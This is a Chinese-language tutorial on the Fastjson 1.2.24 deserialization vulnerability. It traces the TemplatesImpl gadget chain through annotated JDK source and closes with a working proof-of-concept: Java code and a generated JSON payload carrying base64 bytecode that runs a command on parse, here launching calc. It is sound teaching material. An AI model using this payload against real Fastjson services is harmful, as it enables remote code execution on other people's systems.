声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

Fastjson 是什么

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

fastjson相对其他JSON库的特点是快。fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。

以上摘自Fastjson GitHub 介绍。

但近年来随着 Fastjson 不断爆出漏洞,各大中小型公司都逐渐弃用 Fastjson ,甚至阿里自己开源的服务注册、配置管理平台 NACOS 在 1.3.0 版本之后都从 Fastjson 替换为了 Jackson (详见 https://github.com/alibaba/nacos/releases/tag/1.3.0) ,可见漏洞危害之大。

为什么会弃用 Fastjson ?

想要研究一个产品的漏洞其中有一条很好的途径就是去查询 CVE 编号,但是我在检索之后发现 Fastjson 只有 CVE-2017-18349 这一条,而 Jackson 竟然有高达 76 条。

这能否证明 Fastjson 比 Jackson 更安全呢?答案并不是,都是半斤八两,有些 Fastjson 里面出现的漏洞在 Jackson 里面也同样存在。

那为什么会有公司弃用 Fastjson 呢?

或许是 Jackson 有更完善且公开的漏洞管理机制,或许是国外的月亮比较圆,或许是随大流,也或许是 Fastjson 代码质量不过关(知乎上有很多回答批判 Fastjson 代码糟糕的),真实原因就不得而知了。

尽管近年来有公司不断弃用 Fastjson ,但还有很多公司在使用,并且已经开发上线的系统想要替换或者升级 Fastjson 还需要时间,因此我们很有必要学习一下 Fastjson 漏洞的产因。

Fastjson 漏洞产生原因

Fastjson 第一次被爆出有漏洞是官方在2017年3月15日主动披露的,详见 https://github.com/alibaba/fastjson/wiki/security_update_20170315 。漏洞影响 1.2.24 以及之前的版本。我们今天来研究一下当 fastjson version <= 1.2.24 时漏洞是如何产生的。

我们先在 pom.xml 中增加 fastjson 1.2.24 的依赖。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

下面先看一个最常见的序列化为JSON和反序列化为对象的过程。

首先定义一个常见的 Java 对象。

public class User {
    private String name;
    private Integer age;

    public String getName() {
        System.out.println("call getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call setName");
        this.name = name;
    }

    public Integer getAge() {
        System.out.println("call getAge");
        return age;
    }

    public void setAge(Integer age) {
        System.out.println("call setAge");
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

编写一个测试类

import com.alibaba.fastjson.JSON;

public class Eval0 {

    public static void main(String[] args) {
        User user = new User();
        user.setName("守法市民小杜");
        user.setAge(26);

        String jsonString = JSON.toJSONString(user);
        System.out.println("序列化后: " + jsonString);

        System.out.println("反序列化开始");
        System.out.println("反序列化: " + JSON.parseObject(jsonString, User.class));
        System.out.println("反序列化结束");
    }
}

代码很简单,运行后会输出:

call setName
call setAge
call getAge
call getName
序列化后: {"age":26,"name":"守法市民小杜"}
反序列化开始
call setAge
call setName
反序列化: User{name='守法市民小杜', age=26}
反序列化结束

可以看到 Fastjson 在将JSON字符串反序列化为 Java 对象的时候调用了 set方法,看过《Java 反序列化漏洞原理》前两篇文章的同学可能会思考,我们能否构建一条利用链,让 Fastjson 在执行 set 方法的时候能够执行我们指定的命令。

我们先假设这个方式成立,但目前存在两个问题:

  1. 如何让 Fastjson 将JSON字符串反序列化为我们指定的对象?
  2. 哪一个对象可以在 set 的时候执行我们指定的命令呢?

第一个问题查看 Fastjson 文档后可以得到答案,当 JSON 字符串的第一个 key@type 时,会将 JSON 字符串反序列化为 @type 对应 value 中指定的 Java 类,这就是 Fastjson 的 AutoType 功能。并且 Fastjson 在反序列化带有 @type 的 JSON 字符串时,如果没有指定Java对象的类型,还会调用其成员变量的 get 方法。

我们稍微改动一下测试类,在序列化为JSON时将类型也写进去,在反序列化时将类型去除:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Eval1 {

    public static void main(String[] args) {
        User user = new User();
        user.setName("守法市民小杜");
        user.setAge(26);

        String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println("序列化后: " + jsonString);

        System.out.println("反序列化开始");
        System.out.println("反序列化: " + JSON.parseObject(jsonString));
        System.out.println("反序列化结束");
    }
}

执行后会输出:

call setName
call setAge
call getAge
call getName
序列化后: {"@type":"cn.typesafe.jsv.fastjson.User","age":26,"name":"守法市民小杜"}
反序列化开始
call setAge
call setName
call getAge
call getName
反序列化: {"name":"守法市民小杜","age":26}
反序列化结束

可以看到确实是调用了 Java 对象的 get 方法,所以如果 get 方法能够触发代码执行也是可以的。

TemplatesImpl 的利用链

扩大条件后,第二个问题研究安全的前辈也已经帮我们找到了一个合适的 Java 对象 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

它的成员变量如下:

public final class TemplatesImpl implements Templates, Serializable {
    static final long serialVersionUID = 673094361519270707L;
    public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";

    // 父抽象类的完整包名称
    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    // 不重要,只要不为空就行
    private String _name = null;
    // 存放字节数组的数组
    private byte[][] _bytecodes = null;
    // Class 数组
    private Class[] _class = null;
    // translet 子类在 _class 中的下标
    private int _transletIndex = -1;
    // 存放 class 的容器,可以忽略
    private Hashtable _auxClasses = null;
    // 此字段不能为 null,因为要让 Fastjson 调用 getOutputProperties 方法
    private Properties _outputProperties;

    // 其他成员变量可以忽略
    
}

我们首先就来看 _outputProperties 对应的 getOutputProperties 方法:

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

代码很简单,重要的是 newTransformer() 方法,代码如下:

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
{
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

其中 getTransletInstance() 代码如下:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        // _name 不能为 null,不然就直接返回了
        if (_name == null) return null;
        // _class 不能赋值,要进入 defineTransletClasses 才能将我们准备的 Class 加载进来
        if (_class == null) defineTransletClasses();

        // 从加载成功的Class中找到 AbstractTranslet 的子类使用反射创建对象,newInstance() 会调用默认的无参构造方法,因此只要在构造方法中添加我们需要的代码就能做到任意代码执行
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        // 下面的代码不重要了
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

defineTransletClasses() 方法代码如下:

private void defineTransletClasses()
    throws TransformerConfigurationException {

    // _bytecodes 不能为 null
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    // 获取类加载器
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });

    try {
        // 获取二维数组的长度,一个字节数组对应一个 Class 
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        // 判断 Class 数量长度大于1就初始化一个容器用于存放 Class,对我们来说没啥用,可以忽略
        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            // 使用类加载器将字节数组加载为 Class
            _class[i] = loader.defineClass(_bytecodes[i]);
            // 获取其父类 Class
            final Class superClass = _class[i].getSuperclass();

            // 判断当前 Class 的父类 Class 名称是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                // 赋值 translet Class 在数组中的下标
                _transletIndex = i;
            }
            else {
                // 存储 Class 名称及 Class,对我们来说没啥用,可以忽略
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

到目前为止,基本的利用链我们已经搞清楚了,先让 Fastjson 在反序列化的时候将 TemplatesImpl 的几个关键成员变量赋值,如将 _bytecodes 字段赋值为我们事先准备好的字节数组,这样在 Fastjson 调用 getTransletInstance 的时候会接着调用 defineTransletClasses 方法将字节数组使用类加载器加载对 Class,完成之后会再找到 class 数组 _classAbstractTranslet 的子类 Class 使用反射调用无参构造方法创建对象,而这个对象是我们可以控制的,在其构造方法中添加任意代码完成利用。

但是还有三个问题:

  1. 如何将 Java Class 文件转换为字节?
  2. 如何将 Java Class 字节序列化为 Fastjson 可以识别的 JSON 内容?
  3. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 中我们需要操作的那几个成员变量都是以下划线为开头的,并且只有 get 方法没有 set 方法,Fastjson 要如何进行反序列化?

第一个问题我们可以直接使用 IO 流将 Java Class 文件读取到字节数组中,但这样太过粗暴且不利于移植,因此我们可以使用操作 Java 字节码库 javassist 来获取 Class 字节数组。

第二个问题需要我们将 Class 字节数组进行 Base64 编码,Fastjson 在反序列化的时候会自动进行解码。

第三个问题需要我们在反序列化JSON字符串时指定 Fastjson 支持没有 set 方法的成员变量,因此也注定了此种方式可利用范围较小。

测试

在 pom.xml 中增加 javassist 依赖。

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

编写测试代码:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.IOException;
import java.util.Base64;
import java.util.Collections;
import java.util.LinkedHashMap;
import java.util.Map;

public class Eval2 {

    public static class EvalTransletClass extends AbstractTranslet {
        public EvalTransletClass() throws IOException {
            Runtime.getRuntime().exec("calc");
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }
    }

    public static void main(String[] args) throws Exception {
        // 读取编译后的 class 文件为字节数组
        ClassPool classPool = ClassPool.getDefault();
        final CtClass ctClass = classPool.get(EvalTransletClass.class.getName());
        final byte[] bytes = ctClass.toBytecode();

        // 将 class 字节数组编码为 base64
        final String byteCode = Base64.getEncoder().encodeToString(bytes);

        // 构造 POC,这里使用 LinkedHashMap 是因为要保证顺序,@type 要放到第一位
        final Map<String, Object> pocMap = new LinkedHashMap<>();
        pocMap.put("@type", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        pocMap.put("_bytecodes", Collections.singletonList(byteCode));
        pocMap.put("_name", "守法市民小杜");
        pocMap.put("_outputProperties", new Object());
        pocMap.put("_tfactory", new Object());

        final String poc = JSON.toJSONString(pocMap);
        System.out.println("POC JSON:"+poc);
        // POC JSON:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMQoABgAhCgAiACMIACQKACIAJQcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARRXZhbFRyYW5zbGV0Q2xhc3MBAAxJbm5lckNsYXNzZXMBADJMY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyJEV2YWxUcmFuc2xldENsYXNzOwEACkV4Y2VwdGlvbnMHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAqAQAQTWV0aG9kUGFyYW1ldGVycwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEACkV2YWwyLmphdmEMAAcACAcAKwwALAAtAQAEY2FsYwwALgAvBwAwAQAwY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyJEV2YWxUcmFuc2xldENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAeY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAFgAEABcADQAYAAsAAAAMAAEAAAAOAAwADwAAABAAAAAEAAEAEQABABIAEwADAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAHQALAAAAIAADAAAAAQAMAA8AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAAZAAAACQIAFAAAABYAAAABABIAGgADAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAIgALAAAAKgAEAAAAAQAMAA8AAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAQAAAABAABABgAGQAAAA0DABQAAAAbAAAAHQAAAAIAHwAAAAIAIAAOAAAACgABAAUAJgANAAk="],"_name":"守法市民小杜","_outputProperties":{}}

        // 反序列化为 Java 对象
        JSON.parseObject(poc, Feature.SupportNonPublicField);
    }
}

运行之后将会看到弹出了计算器。

文中测试使用系统和工具版本如下:

其他

此种方式可利用范围较小,但在高版本JDK上依然可以利用成功。

常见的 Fastjson 漏洞利用还有 RMI/JNDI 和 LDAP,但在高版本的JDK中,Java官方觉得请求远程地址上的类是一个很危险的操作,所以在最新的JDK中默认关闭了这个功能,我们在后面也会详细介绍。